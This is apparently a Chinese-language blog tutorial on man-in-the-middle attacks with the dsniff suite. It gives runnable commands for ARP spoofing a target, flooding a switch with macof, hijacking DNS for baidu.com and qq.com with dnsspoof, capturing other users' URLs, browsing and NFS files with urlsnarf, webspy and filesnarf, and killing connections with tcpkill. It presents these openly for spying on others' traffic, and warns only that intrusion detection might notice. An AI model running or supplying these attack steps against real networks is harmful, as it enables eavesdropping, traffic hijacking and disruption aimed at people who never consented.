dsniff里面很多工具都基于ARP 欺骗,通过成为中间人来抓取数据,这里都归纳到一起
一.先对目标使用ARP攻击或者macof轰炸
打开系统的ipv4转发,就像什么事情都没有发生一样
sudo sysctl -w net.ipv4.ip_forward=1
sudo arpspoof -i wlp2s0 -t 192.168.31.76 192.168.31.1
或者暴力一点,直接使用macof来轰炸交换机的 MAC 地址表
macof会生成大量随机的伪造 MAC 地址和 IP 地址的流量,从而淹没交换机的 MAC 地址表。一旦交换机表爆满,交换机会退化成“广播模式”(即:把数据包发送给所有端口),这时你就能嗅探到原本你“看不到”的数据流量(比如别人的网页、聊天等)
简单来说,macof就是把交换机变成了“Hub”行为。
使用macof可能导致公司/学校网络中可能触发 IDS/IPS 报警,
使用方式:
直接使用:
sudo macof -i wlp2s0
或者带参数手动指定目标范围:
sudo macof -i wlp2s0 -n 10000 -s 192.168.31.100 -d 192.168.31.1
参数说明:
-i:指定网卡接口
-n:发送的包数(默认无限发)
-s:伪造源 IP
-d:伪造目的 IP
二.基于ARP的工具
dnsspoof
dnsspoof 是 dsniff 工具集中一个用于 伪造 DNS 响应包 的工具。它可以让目标设备在访问某个域名时,被引导到你指定的 IP 地址上,从而实现 域名劫持 的效果。
1.伪造DNS规则文件保存为host.txt
192.168.31.100 www.baidu.com
192.168.31.100 *.qq.com
当目标访问 www.baidu.com 或任何 qq.com 子域名时,都返回 192.168.31.100。
2.对目标启动ARP,开启系统对ipv4的转发
3.启动 dnsspoof
sudo dnsspoof -i wlp2s0 -f hosts.txt
urlsnarf:
urlsnarf 会捕获局域网中通过 HTTP 协议发出的网页请求(GET / POST 等),并将访问的 URL 显示出来。
1.对目标启动ARP,开启系统对ipv4的转发
2.运行 urlsnarf
sudo urlsnarf -i wlp2s0
运行后命令行会明文输出对方正在访问的网站
webspy:只能嗅探 HTTP 流量
webspy可以监听某个目标设备的 HTTP 请求,然后自动在你的浏览器中打开该网页,实景直播别人网页操作。
1.对目标启动ARP,开启系统对ipv4的转发
2.使用 webspy
sudo webspy -i wlp2s0 192.168.31.76
-i wlp2s0 :你的网卡名称
192.168.31.76 :你要监听的目标设备 IP
3.搭配使用firefox直播画面
先在命令行运行:
firefox -remote "openurl(http://placeholder.com)"
或者如果是新版浏览器,使用下面方式启动一个监听命令端口的实例(不是强制的):
firefox --new-instance
然后运行 webspy,每当目标访问网页时,你的浏览器就会自动跳转到相同的地址
filesnarf:只能捕获NFS流量
filesnarf 是 dsniff 套件中一个用于嗅探 NFS(Network File System | 是 Linux 和类 UNIX 系统中常见的文件共享协议) 网络文件传输内容 的工具,可以捕获局域网中通过 NFS(网络文件系统)共享的文件内容,直接看到别人通过 NFS 正在传输的文件
1.对目标启动ARP,开启系统对ipv4的转发
2.启动filesnarf
sudo filesnarf -i wlp2s0
可以加上 -v 参数查看更多细节信息:
tcpkill
用来“杀死”指定目标的 TCP 连接(不是物理断网,而是终止它正在进行的网络通信),工作方式类似于向连接中的一方或双方伪造 TCP RST(重置)包,从而让连接立即中断。
1.需要 arpspoof 或 macof 辅助,成为“中间人”
2.最简单的使用方式:
sudo tcpkill -i wlp2s0 host 192.168.31.76
精确“狙击”某个服务(如 HTTP,SSH):
sudo tcpkill -i wlp2s0 host 192.168.31.76 and port 80
sudo tcpkill -i wlp2s0 host 192.168.31.76 and port 22
使用 net(网络段):
sudo tcpkill -i wlp2s0 net 192.168.31.0/24